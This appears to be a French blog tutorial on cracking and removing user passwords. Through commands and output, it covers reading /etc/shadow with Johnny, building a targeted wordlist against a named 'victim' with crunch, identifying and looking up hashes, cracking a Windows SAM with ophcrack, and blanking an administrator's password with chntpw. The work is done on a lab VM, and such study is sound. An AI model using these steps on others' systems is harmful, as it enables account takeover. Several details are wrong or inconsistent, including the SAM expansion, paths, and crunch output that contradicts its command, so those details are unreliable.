Cracking de mots de passe utilisateurs

Le cracking de mot de passe est le fait de trouver les mots de passe à partir de données stockées ou transmises par un ordinateur. Un mot de passe est utilisé pour sécuriser différents types de systèmes (Hôtes sous Linux ou Windows...) Dans cet article nous verrons le cracking de mots de passe du système hôte. L'objectif est de réduire le nombre de possibilité.

Il existe plusieurs techniques pour cracker des mots de passe utilisateurs.

  • La méthode par dictionnaire
  • Le Brute-Forcing
  • Le deviner
  • Ou le mélange de ces trois technique

Le stockage des mots de passe :

Les mots de passe sont stockés d’une façon cryptée, on dit qu'il sont hashé.

Nous allons ici tout d'abord posé quelques bases de vocabulaire :+1:

Le hashing :

Le hashing est une fonction particulière qui, à partir d'une donnée fournie en entrée, calcule une empreinte servant à identifier rapidement, bien de façon incomplète, la donnée initiale. Les fonctions de hachage sont utilisées en informatique et en cryptographie.

Rainbow-table :

Une rainbow table (littéralement table arc-en-ciel) est, en cryptanalyse, une structure de données créée en 2003 par Philippe Oechslin qui permet de retrouver un mot de passe à partir de son empreinte. Il s'agit d'une amélioration des compromis temps-mémoire proposés par Martin Hellman dans les années 1980.

Les tables arc-en-ciel essayent de concilier taille de fichier et temps de calcul raisonnable. Une attaque par Rainbow table se déroule en 2 étapes. Il faut tout d’abord générer une table, puis cracker une ou plusieurs empreintes à l’aide de cette table. On alors dit que l’on réduit l’empreinte.

La seule chose que l’on demande à cette fonction de réduction c’est d’être cohérente, c’est-à-dire de toujours retourner le même mot de passe quand on lui donne la même empreinte en paramètre. On part d’un mot de passe on calcule son empreinte on calcule un nouveau mot de passe à partir de l’empreinte on calcule l’empreinte de ce mot de passe on répète l’opération un certain nombre de fois. Ensuite on stocke dans la table le mot de passe initial et l'empreinte finale.

Pour stocker 100 millions de mots de passe il suffit donc par exemple de générer une Rainbow table contenant 100.000 lignes avec des chaines de longueur 1.000. On stocke donc dans un fichier de 2 Mo une table qui pèserait 2 Go dans le cas d’un simple dictionnaire.

Inconvénhéant :

  • Les fonctions de réductions provoquent des collisions

    • Une collision survient quand la fonction de réduction retourne le même mot de passe pour deux empreintes différentes.
    • Cela survient forcement car il y a toujours plus d’empreintes possibles que de mots de passes possibles.
  • L'efficacité des tables diminue de façon significative lorsque les fonctions de hachage sont combiné à un sel (donnée aléatoire ajouté à la fonction lors du calcule de l'empreinte)

Les mots de passes sur Windows :

Les miot de passe dans windows son stocker dans un registre SAM ( System Account Management ), suaf quand on utilise un Active Directory où les mots de passe sont stocké dans une BDD LDAP

Le registre SAM se trrouve dans le repertoire :

C:\<systemroot>\sys32\config

SAM stocke les mots de passe hachés : LM & NTLM. Les fichiers ne peuvent pas être copiés ni déplacés mais en revenche il peut être Dumper

C:\<systemroot>\repair & C:\> expandSAM uncompressedSAM

Les mots de passes dans Linux :

Le stockage et la gestion des mots de passe dans Linux est différents de Windows. Les mots de passe sont stocker et hashé dans les fichiers :

/etc/passwd

et

/etc/shadow

Le crackage des mots de passe est plus difficile que les fichiers SAM.

C'est parti pour le cracking de password utilisateur :+1:

En premier lieu on va commencer par un outil assez sympa et simple d'utilisation qui est johnny et qui n'est n'y plus ni moins que la version GUI de John The Reaper.

Dans un terminal sur kali linux on lance l'utilitaire johnny :+1:

johnny

Notre interface se lance :

Avant de nous lancer dans l'attaque nous allons préparer le terrain en chargeant notre dictionnaire (que nous avons créer auparavant biensûr) dans johnny pour notre cracking comme ci-dessous :

Pour commencer notre crack on va récupérer le fichier de password dans johnny dans la parti password en cliquant sur open password file et en selectionnant le fichier /etc/shadow

Une fois que cela est fait le fichier shadow est chargé dans johnny avec les différent utilisateurs et leurs mot de passe hasher présent dans le fichier:

Une fois que tout cela est près il syuffit de cliquer sur Start new attack pour que le mot de passe soit craquer si celui ci se trouve dans notre dictionnaire :+1:

Crunch

Crunch est un outil permettant de creer des dictionnaire basé sur des critères qu'on lui spécifie. Ce genre de technique de génération de mot de passe peut être réaliser en le combinant avec du Social engineering. l'idée est de r&écupérer des informations sur la cible qui pourront nous permettre d'imaginer le type de mot de passe que cette personne peut utiliser.

exemple une personne qui s'appelle john Doe pourrai essayer comme mot de passe de combiner son nom avec des chiffre ou autres.

Sans plus tarder on va essayer de générer des dictionnaire.

Dans un terminal :

crunch 10 10 -t jhondoe@@@ >> mon_dico

Crunch will now generate the following amount of data: 3107227739 bytes
2963 MB
2 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 282475249 

quelques explication s'impose sur notre commande :accept:

on lance crunch en lui demandant de générer des mot de passe d'une taille minimum de 10 carractère et de maximum 10 carractère en commançant toujour par johndoe puis une suite de carractères dan sle fichier mondico.

On peut vérifier que cela à bien été réalisé dans le fichier mon_dico qu'on a créer à cet effet

root@kali:/# tail mon_dico 
johndoezzq
johndoezzr
johndoezzs
johndoezzt
johndoezzu
johndoezzv
johndoezzw
johndoezzx
johndoezzy
johndoezzz
root@kali:/# 

Ensuite on peut faire la même chose avec des carractères numérique

crunch 10 10 -t jhondoe%%% >> mon_dicoint

Crunch will now generate the following amount of data: 11000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000

On peutdonc vérifier notre nouveau dictionnaire tout frais spécialiser pour notre victime John Doe :+1: x:100:

root@kali:/# tail mon_dicoint 
jhondoe990
jhondoe991
jhondoe992
jhondoe993
jhondoe994
jhondoe995
jhondoe996
jhondoe997
jhondoe998
jhondoe999

Je vous laisse imaginer vos scénarios de dictionnaire cibler :8ball:

Petit indice pour vous RTFM :-)

man crunch

Hash-identifier

Hash-identifier est un outil permettant d'identifier le type d'un hash (sha256, md5, etc ...). Cela permet de ne pas perdre de temps à chercher quel type d'outil on va utiliser pour cracker notre hash hash-identifier comme son nom l'indique identifie le hash pour nous et il ne reste plus qu'a utiliser l'outil adéquat pour le crack.

Utilisation :

Pour cela nous allons générer en ligne sur (http://www.md5decrypt.net) un hash à partir d'un mot :

Md5(administrateur) = 372eeffaba2b5b61fb02513ecb84f1ff

Maintenant nous allons essayer d'identifier le hash de ce mot.

root@kali:/# hash-identifier
HASH: 372eeffaba2b5b61fb02513ecb84f1ff

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+]  RAdmin v2.x
[+]  NTLM
[+]  MD4
    ....

Enjoy le hash a bien été identifier comme étant très probablement du hsh MD5.

Findmyhash

Findmyhash est un outil permettant de retrouver notre hash sur les bases de données public.

Utilisation :

Nous allons récupérer le même hash que nous avons utilisé précédèment et nous allons tenté de le retrouver sur les bases de donnée publique.

Md5(administrateur) = 372eeffaba2b5b61fb02513ecb84f1ff

root@kali:/# findmyhash md5 -h 372eeffaba2b5b61fb02513ecb84f1ff

Cracking hash: 372eeffaba2b5b61fb02513ecb84f1ff

The following hashes were cracked:
----------------------------------

372eeffaba2b5b61fb02513ecb84f1ff -> administrateur

HASH Cracked notre MD5 a bien été retrouvé sur des bases publique.


Maintenant que l'on maitrise toute ces technique ce que nous allons essayer de faire est de craquer le mot de passe utilisateur d'une machine windows. Pour ce faire nous allons booter une VM windows sur un OS kali linux dans Virtualbox. Pour cela il sufit de renseigner dans les configuration de la vm dans la parti stockage le chemin de l'iso kali pour le CDROM.

Une fois que l'on a booter sur kali on récupère le chemin de l'emplacement où le volume de notre windows à été monté. Pour ce faire on fait clique droit sur le volume => propriété.

root@kali:~# cd /media/root
root@kali:/media/root# ls
264C31004C30CBF5  Réservé au système
root@kali:/media/root# cd 264C31004C30CBF5/
root@kali:/media/root/264C31004C30CBF5# ls
Documents and Settings  ProgramData          Recovery                   Users
pagefile.sys            Program Files        $Recycle.Bin               Windows
PerfLogs                Program Files (x86)  System Volume Information
root@kali:/media/root/264C31004C30CBF5# 

On lance maintenant l'outil ophcrack :

root@kali:~# opcrack

Une foois ophcrack lancé il faut se rendre sur l'onglet load => Encrypted SAM pour récupérer les fichiers SAM de notre windows monté.

Ensuite nous allons nous rendre dans l'onglet Tables pour récupérer les rainbow tables que nous avons téléchargé avant bien sûr.

Il nous suffit de cliquer sur install et se déplacer ensuite dans le répertoire contenant les rainbow Tables.Une fois cela éffectuer notre table selectinné passe en enabled avec un petit bouton vert comme sur la figure suivante.

Une fois que cela est fait nous pouvons lancer notre crack avec le bouton Crack

Une fois fait votre hash devrait être craquer en quelques minutes voir seconde selon la puissance de votre ordinateur.

chntpw

chntpw est un outil permettant de manipuler les mots de passe utilisateur windows (retirer, changer etc ...).

L'utilisation de l'outil est très simple il suffit de se rendre dans le répertoire ou son stocker les fichier SAM de windows (toujours sur notre windows monté).

root@kali: cd /media/root/264C31004C30CBF5/Windows/System32/config

Une fois que cela est fait nous allons taper la commande suivante :

root@kali:/media/root/264C31004C30CBF5/Windows/System32/config# chntpw -i SAM

<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives: <SAM>

  1 - Edit user data and passwords
  2 - List groups
      - - -
  9 - Registry editor, now with full write support!
  q - Quit (you will be asked if there is something to save)

What to do? [1] -> 1

Nous somme invité à choisir à partir d'un menu l'option que l'on souhaite utiliser. Dan snotre cas option 1 pour changer le mot de passe d'un utilisateur.

===== chntpw Edit User Info & Passwords ====

| RID -|---------- Username ------------| Admin? |- Lock? --|
| 01f4 | Administrateur                 | ADMIN  | dis/lock |
| 01f5 | Invit�                         |        | dis/lock |
| 03e8 | shado                          | ADMIN  |          |

Please enter user number (RID) or 0 to exit: [3e8] 03e8

La liste des utilisateur nous est renvoyer dans un tablau et nous devons choisir l'utilisateur dont on veux changer le mot de passe grâce à son RID. Dans notre cas on va prendre l'utilisateur shado dont le RID est 03e8

Failed login count: 0, while max tries is: 0
Total  login count: 2

- - - - User Edit Menu:
 1 - Clear (blank) user password
(2 - Unlock and enable user account) [seems unlocked already]
 3 - Promote user (make user an administrator)
 4 - Add user to a group
 5 - Remove user from a group
 q - Quit editing user, back to user select

A ce stade plusieurs options de manipulation s'offre à nous :

1 - Clear (blank) user password

  • Retirer le mot de passe de l'utilisateur

2 - Unlock and enable user account) [seems unlocked already]

  • Désactiver ou activer un compte utilisateur

3 - Promote user (make user an administrator)

  • donné les droits administrateur à un utilisateur

4 - Add user to a group

  • Ajouter un utilisateur à un groupe

5 - Remove user from a group

  • Retirer un utilisateur d'un groupe

L'option qui nous interresse le plus est la première qui consiste à retirer le mot de passe de l'utilisateur choisis.

Password cleared!
================= USER EDIT ====================

RID     : 1000 [03e8]
Username: shado
fullname: 
comment : 
homedir : 

00000220 = Administrateurs (which has 2 members)

Account bits: 0x0214 =
[ ] Disabled        | [ ] Homedir req.    | [X] Passwd not req. | 
[ ] Temp. duplicate | [X] Normal account  | [ ] NMS account     | 
[ ] Domain trust ac | [ ] Wks trust act.  | [ ] Srv trust act   | 
[X] Pwd don't expir | [ ] Auto lockout    | [ ] (unknown 0x08)  | 
[ ] (unknown 0x10)  | [ ] (unknown 0x20)  | [ ] (unknown 0x40)  | 

Le mot de passe l'utilisateur à bien été retirer comme on peut le constater :+1: X :100: